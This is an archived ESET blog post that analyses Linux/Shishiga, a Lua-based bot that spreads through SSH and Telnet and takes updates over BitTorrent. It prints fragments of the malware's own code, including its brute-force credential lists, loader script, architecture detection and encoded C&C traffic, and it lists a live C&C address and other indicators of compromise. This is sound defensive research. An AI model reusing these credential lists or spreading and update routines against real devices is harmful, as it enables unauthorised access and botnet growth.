Linux Shishiga malware using LUA scripts

By ESET ResearchMichal Malik

Archived: 2026-04-06 00:31:11 UTC

The usage of the BitTorrent protocol and Lua modules separates Linux/Shishiga from other types of malware, according to analysis by ESET.

25 Apr 2017 • , 12 min. read

Among all the Linux samples that we receive every day, we noticed one sample detected only by Dr.Web - their detection name was Linux.LuaBot. We deemed this to be suspicious as our detection rates for the Luabot family have generally been high. Upon analysis, it turned out that this was, indeed, a bot written in Lua, but it represents a new family, and is not related to previously seen Luabot malware. Thus, we've given it a new name: Linux/Shishiga. It uses 4 different protocols (SSH - Telnet - HTTP - BitTorrent) and Lua scripts for modularity.

How to meet Shishiga?

Linux/Shishiga targets GNU/Linux systems. Its infection vector is a very common one: bruteforcing weak credentials based on a password list. It does this in a similar fashion to Linux/Moose with the added capability to bruteforce SSH credentials too. Here is the complete credentials list at the time of writing:

bftelnet.lua

```
 [...]
local accounts={
    {"admin","admin"},
    {"root","root"},
    {"adm","adm"},
    {"acer","acer"},
    {"user","user"},
    {"security","security"}
}
[...]
```

bfssh.lua

```
 [...]
local accounts={
    {"admin","admin"},
    {"root","root"},
    {"adm","adm"},
    {"ubnt","ubnt"},
```

```
    {"root",""},
    {"admin",""},
    {"adm",""},
    {"user","user"},
    {"pi","pi"},
}

--[[
    {"acer","acer"},
    {"security","security"},
    {"root","toor"},
    {"root","roottoor"},
    {"root","password"},


    {"root","test"},
    {"root","abc123"},
    {"root","111111"},
    {"root","1q2w3e"},
    {"root","oracle"},
    {"root","1q2w3e4r"},
    {"root","123123"},
    {"root","qwe123"},
    {"root","p@ssw0rd"},

    {"root","1"},
    {"root","12"},
    {"root","123"},
    {"root","1234"},
    {"root","12346"},
    {"root","123467"},
    {"root","1234678"},
    {"root","12346789"},
    {"root","123467890"},
    {"root","qwerty"},
    {"root","pass"},
    {"root","toor"},
    {"root","roottoor"},
    {"root","password123"},
    {"root","password123456"},
    {"root","pass123"},
    {"root","password"},
    {"root","passw0rd"},
    {"root","1qaz"},
    {"root","1qaz2wsx"},
    {"root","asdfgh"},
```

```
    {"user","user"},
    {"user",""},
    {"acer","acer"},
    {"security","security"},
    {"root","passw0rds"},
]]
[...]
```

We found several binaries of Linux/Shishiga for various architectures such as MIPS (both big- and little-endian), ARM (armv4l), i686, and also PowerPC. These are common for IoT devices. We think that other architectures like SPARC, SH-4 or m68k could be supported as we will explain later.

Shishiga's skills

Linux/Shishiga is a binary packed with UPX 3.91 (Ultimate Packer for Executables), but the UPX tool will have trouble unpacking these binaries because Shishiga adds data at the end of the packed file.

After unpacking, we see that it's statically linked with the Lua runtime library and stripped of all symbols.

```
 $ file unpacked.i686.lm
unpacked.i686.lm: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux),
statically linked, stripped
```

Once executed, the binary will initialize the `malware` Lua module with the following methods:

Malware methods

```
malware_module_methods  dd offset aGetver       ; "getver"
                        dd offset getver
                        dd offset aGetos        ; "getos"
                        dd offset getos
                        dd offset aGetarch      ; "getarch"
                        dd offset getarch
                        dd offset aGetmacaddr   ; "getmacaddr"
                        dd offset getmacaddr
                        dd offset aGetmods      ; "getmods"
                        dd offset getmods
                        dd offset aSetargs      ; "setargs"
                        dd offset setargs
```

The `getmods` method will return the archive blob as we will explain later. Then hardcoded Lua code (`malware.lua`) is executed via the `luaL_loadstring` and `lua_pcall` functions. The Lua code is quite straightforward, but here is a quick walkthrough of the source code without any modifications on our part.

malware.lua

```
 local unistd=require("posix.unistd")
require("malware")

function getexe()
    local fn=unistd.readlink("/proc/self/exe")
    if fn==nil and arg~=nil then
        fn=arg[0] --symlink removed
    end

    if fn==nil then
        print("couldn't find bot file")
        return nil
    end



    local file=io.open(fn,"r")
    if file==nil then
        print("couldn't find bot file")
        return nil
    end
    local data=file:read("*all")
    file:close()
    return data
end

function getMods()
    return zlib.inflate()(malware.getmods())
end

function getScriptFiles(scripts)
    local files={}
    local i=1
    while true do
        local a1,b1,c1=string.find(scripts,'%-%-script%-begin%-%-([%w%.]+)%-%-',i)
        if a1==nil then
            break
        end

        local a2,b2,c2=string.find(scripts,'%-%-script%-end%-%-([%w%.]+)%-%-',i)

        if a2==nil then
            break
        end

        if c1~=c2 then
            return nil
```

```
        end

        local src=string.sub(scripts,b1+1,a2-1)
        i=b2+1
        files[c1]=src
    end
    return files
end

malware.exe=getexe() 1
local modules=getScriptFiles(getMods()) 2

[...]

f=load(malware.modules['main.lua']) 3
local s,err=pcall(f)
if s==false then
    print(err)
end
```

(1)	open the malware executable file from `/proc/self/exe` and return its content;
(2)	retrieve the zlib archive via `getmods` method, decompresses it, then parse it using tags and store it in a Lua's array;
(3)	call `main.lua` module;

There is an exhaustive list of all Lua scripts found in the IoCs section. Most of them have self-explanatory filenames, but here is a brief summary of some of them.

callhome.lua

- retrieve the configuration file `server.bt` or `servers` from `config.lua`;
- if unable to reach the current default server, change to a different server;
- send files (reports or accounts, both JSON formatted);
- execute tasks from task list retrieved from the C&C server;

bfssh.lua / bftelnet.lua

- module to bruteforce SSH and Telnet logins;
- check if the command `echo -en "\\x31\\x33\\x33\\x37"` outputs `1337`; if not, exit else continue;
- device architecture is determined from the `/bin/ls` file by running `cat /bin/ls` and parsing the ELF header, see below;
- spread the malware (both `.lm` and `.dm` files) according to the device architecture;
- save successful credentials;

The architecture checking code is as follows:

bfssh.lua, getArchELF method

```
function bfssh.getArchELF(text)
        local bits,denc,ver,ftype,farch
        if text==nil then
                return nil
        end

        local i=text:find("\x7fELF") 1
        if i~=nil then
                bits,denc,ver=string.unpack("<BBB",text:sub(i+4))
                if denc==1 then
                        ftype,farch=string.unpack("<HH",text:sub(i+16)) 2
                else
                        ftype,farch=string.unpack(">HH",text:sub(i+16))
                end
        end
        return bits,denc,farch 3
end
```

(1)	every ELF file has to start with `\x7fELF`
(2)	`ftype` that represents `e_type` (ELF file type = executable, shared etc.) is not used
(3)	`bits` represents `e_ident[EI_CLASS]` (32-bit or 64-bit), `denc` represents `e_ident[EI_DATA]` (little or big endian), and `farch` represents `e_machine` in the ELF header

bfssh.lua, getArchName method

```
function bfssh.getArchName(bits,denc,farch) 1

       if farch==0x8 and denc==1 then 2
               return "mipsel"
       end

       if farch==0x8 and denc==2 then
               return "mips"
       end

       if farch==0x28 then
               return "armv4l"
       end

       if farch==0x2 then
               return "sparc"
       end
```

```
        if farch==0x2a then
                return "sh4"
        end

        if farch==0x4 then
                return "m68k"
        end

        if farch==0x14 then
                return "powerpc"
        end


        if farch==0x3 or farch==0x7 or farch==0x3e then 3
                return "i686"
        end

        return nil
end
```

(1)	`bits` is not used
(2)	check if file is for MIPS little endian (`e_machine` == `EM_MIPS` and `e_ident[EI_DATA]` == `ELFDATA2LSB`)
(3)	check if file is for Intel 80386 or Intel 80860 or AMD x86-64 (`e_machine` == `EM_386` or `e_machine` == `EM_860` or `e_machine` == `EM_X86_64`)

config.lua

- contains **publicKey** to verify the signature of the binary (.lm or .dm);
- contains bootstrap nodes list;
- contains filenames of .bt files, port numbers of SOCKS and HTTP server;
- contains IP address of the server (probably C&C server);

persist.lua

- persistence method depending on the privilege (root or user)

scanner.lua

- used to generate random /16 networks that are not local

worm.lua (this script was removed in the latest version of Linux/Shishiga)

- allows scanning on a given port;

- allows upload;
- gets information from the new infected server;

The `readme.lua` script has a message banner that grabs your attention, if you speak Russian:

```
            ВСЁ ИДЁТ ПО ПЛАНУ

А при коммунизме всё будет заебись
Он наступит скоро – надо только подождать
Там всё будет бесплатно,там всё будет в кайф
Там наверное вощще не надо будет (умирать)
Я проснулся среди ночи и понял, что -

            ВСЁ ИДЁТ ПО ПЛАНУ
```

This translates to:

```
             EVERYTHING GOES ACCORDING TO PLAN

When we get communism it'll all be fucking great.
It will come soon, we just have to wait.
Everything will be free there, everything will be fun.
We'll probably not even have to die.
I woke up in the middle of the night and realized

             EVERYTHING GOES ACCORDING TO PLAN
```

It seems that the malware author was inspired by E.Letov and his album `Everything goes according to plan` - see the last verse of the title song.

Over the past few weeks, we observed some minor changes like parts of some modules being rewritten, addition of testing modules, removal of redundant files, but nothing especially noteworthy.

While the main binary is named `<architecture>.lm`, we also managed to retrieve binaries with the following name `<architecture>.dm` - a simple backdoor that listens on `0.0.0.0` (all IPv4 addresses) port `2015`. One of the small changes was in the name of this backdoor binary - it changed from `dl` to `dm`.

Shishiga communication

Linux/Shishiga can communicate using any of the modules `httpproto.lua`, `btloader.lua` or `server.lua`. The `httpproto.lua` module has functions that allow the given data to be encoded or decoded, and make HTTP POST and GET requests. The source code below shows the process of encoding data.

httpproto.lua

```
 [...]
function httpproto.encode(data)
    local msg=bencode.encode(data)
    local c=zlib.crc32()(msg)
    local k=string.pack("<I",utils.random())
    return k..crypto.rc4(k,string.pack("<I",c)..msg)
end
[...]
```

`btloader.lua` uses the `torrent.lua` module (a wrapper for BitTorrent functions) to save or load nodes from the `nodes.cfg` file. It also retrieves its configuration data from `{server,update,script}.bt` files (in Bencode format) and uses the BitTorrent protocol to check for new versions of these files. `script.bt` allows the execution of a Lua script and `update.bt` allows executing the `.lm` binary. Below are examples of decoded .bt files shown as Python dictionaries.

script.bt

```
 {
    'sig': <removed>,1
    'k': <removed>,2
    'salt': 'script',
    'seq': 1486885364,
    'v': 'caba4dbe2f7add9371b94b97cf0d351b72449072,test.lua\n'
}
```

(1)	signature
(2)	public key

update.bt

```
 {
    'sig': <removed>,
    'k': <removed>,
    'salt': 'update',
    'seq': 1486885364,
    'v':
        'bf4d9e25fc210a1d9809aebb03b30748dd588d08,mipsel.lm\n
        8a0d58472f6166ade0ae677bab7940fe38d66d35,armv4l.lm\n
        51a4ca78ebb0649721ae472290bea7bfe983d727,mips.lm\n
        979fb376d6adc65473c4f51ad1cc36e3612a1e73,powerpc.lm\n
        ce4b3c92a96137e6215a5e2f5fd28a672eddaaab,i686.lm\n'
}
```

server.bt

```
{
   'sig': <removed>,
   'k': <removed,
   'salt': 'server',
   'seq': 1486835166,
   'v': '93.117.137.35:8080\n'
}
```

Finally, the `server.lua` module's main functionality is to create an HTTP server with the port defined in `config.lua`. In all samples we have analyzed so far, that is port 8888.

The server responds only to `/info` and `/upload` requests. Below is a (prettified) version of the server response to the `/info` path. All of the files below can be easily downloaded from the infected device.

```
{
   "src":[ 1
       "test.lua",
       "test1.lua",
       "test10.lua",
       "test2.lua",
       "test3.lua",
       "test5.lua",
       "test6.lua",
       "test_1.lua",
       "test_2.lua",
       "test_3.lua",
       "test_4.lua"
   ],

   "dm":[ 2
       "armv4l.dm",
       "i686.dm",
       "mips.dm",
       "mipsel.dm"
   ],

   "bt":[ 3
       "script.bt",
       "server.bt",
       "update.bt"
   ],

   "version":"1.0.0", 4
```

```
    "lua":[ 5
        "armv4l.lm",
        "i686.lm",
        "mips.lm",
        "mipsel.lm",
        "powerpc.lm"
    ],

    "os":"lin",
    "arch":"i686",
    "lua_version":"Lua 5.3"
}
```

(1)	Lua scripts
(2)	backdoor (old name: `.dl`)
(3)	BitTorrent scripts
(4)	malware version
(5)	modules loader

Querying the root `/` on port `8888` will result in `HTTP/1.0 404 OK`, which serves as a simple indicator of compromise (IoC).

http.lua response function

```
 function http.response(req,code,data,timeout)
    timeout=timeout or timeoutDef
    local hdr="HTTP/1.0 %d OK\r\nContent-Length: %d\r\nConnection: close\r\n\r\n"
    async.sendall(req.sock,hdr:format(code,data:len())..data,timeout)
    return true
end
```

At this point in our investigation, we asked the Censys team to do a mass scan of the Internet on TCP port 8888. They found about 10 IP addresses that match this particular HTTP answer. These IP addresses are potentially infected machines.

Conclusion

At a first glance, Linux/Shishiga might appear to be like the others, spreading through weak Telnet and SSH credentials, but the usage of the BitTorrent protocol and Lua modules separates it from the herd. BitTorrent used in a Mirai-inspired worm, Hajime, was observed last year and we can only speculate that it might become more popular in the future.

It’s possible that Shishiga could still evolve and become more widespread but the low number of victims, constant adding, removing, and modifying of the components, code comments and even debug information, clearly indicate that it’s a work in progress. To prevent your devices from being infected by Shishiga and similar worms, you should not use default Telnet and SSH credentials.

We would like to thank the Censys team for their collaboration.

IoCs

C&C

93.117.137.35

SHA-1 hashes (.lm)

```
 003f548796fb52ad281ae82c7e0bb7532dd34241
1a79092c6468d39a10f805c96ad7f8bf303b7dc8
1cc1b97f8f9bb7c4f435ef1316e08e5331b4331b
2889803777e2dfec7684512f45e87248a07d508f
2a809d37be5aa0655f5cc997eb62683e1b45da17
3f1ef05ca850e2f5030ee279b1c589c9e3cc576c
41bf0d5612ba5bc9a05e9d94df0f841b159264a0
4bc106f6231daa6641783dd9276b4f5c7fc41589
4d55efe18643d7408cbe12dd4f319a68084bd11e
4df58ab26f0fc8ec2d1513611ca2b852e7107096
51a4ca78ebb0649721ae472290bea7bfe983d727
5a88b67d8dfaf1f68308311b808f00e769e39e46
6458c48e5167a2371d9243d4b47ad191d642685b
688ccbca8b2918a161917031e21b6810c59eeab0
6e3ba86d1f91669e87945b8ea0211b58e315e189
6f41c8f797814e2e3f073601ce81e8adceef6a27
8a0d58472f6166ade0ae677bab7940fe38d66d35
8a1f9212f181e68a63e06a955e64d333b78c6bf6
8e3c4eb04d4cfd8f44c721111c5251d30ac848b6
979fb376d6adc65473c4f51ad1cc36e3612a1e73
a1f2535576116d93b62d7f5fc6e30e66e0e0a216
a694c6ecc2ff9702905f22b14ed448e9e76fe531
ac094b239851eaf2e9fd309285c0996fb33771a8
b14f7af9665ef77af530109a0331f8ca0bd2a167
b86935c4539901cdec9081d8a8ca915903adaff1
ba5df105496b0c4df7206d29fa544b7a7a346735
bf4d9e25fc210a1d9809aebb03b30748dd588d08
c22f0fb01c6d47957732a8b0f5ef0f7d4e614c79
ce4b3c92a96137e6215a5e2f5fd28a672eddaaab
d8a5d9c4605b33bd47fedbad5a0da9928de6aa33
f73022a4801e06d675e5c3011060242af7b949ad
```

SHA-1 hashes (.dl)

```
 274181d2f9c6b8f0e217db23f1d39aa94c161d6e
8abbb049bffd679686323160ca4b6a86184550a1
95444c2ccc5fff19145d60f1e817fd682cabe0cd
9cde845852653339f67667c2408126f02f246949
```

Lua’s scripts filename

```
 async.lua
async.lua.old
bencode.lua
bfssh.lua
bfssh.lua.old2
bftelnet.lua
btloader.lua
callhome.lua
callhome.lua.old
config.lua
crypto.lua
dht.lua
event.lua
evs.lua
http.lua
httpproto.lua
libevent2.lua
luaevent.lua
main.lua
main2.lua
malware.lua
persist.lua
readme.lua
routing.lua
scanner.lua
scanner2.lua
server.lua
socket.lua
socks.lua
ssh.lua
ssl.lua
telnet.lua
test.lua
test1.lua
test10.lua
test2.lua
test3.lua
```

```
test5.lua
test6.lua
threads.lua
torrent.lua
udp.lua
utils.lua
worm.lua
```

Files that could potentially indicate an infection

```
 /tmp/.local/*
/tmp/drop
/tmp/srv
$HOME/.local/ssh.txt
$HOME/.local/telnet.txt
$HOME/.local/nodes.cfg
$HOME/.local/check
$HOME/.local/script.bt
$HOME/.local/update.bt
$HOME/.local/server.bt
$HOME/.local/syslog
$HOME/.local/syslog.pid
$HOME/.local/{armv4l,i686,mips,mipsel}.dm
$HOME/.local/{armv4l,i686,mips,mipsel,powerpc}.lm

/etc/rc2.d/S04syslogd
/etc/rc3.d/S04syslogd
/etc/rc4.d/S04syslogd
/etc/rc5.d/S04syslogd
/etc/init.d/syslogd
/bin/syslogd
/etc/cron.hourly/syslogd
```

Discussion
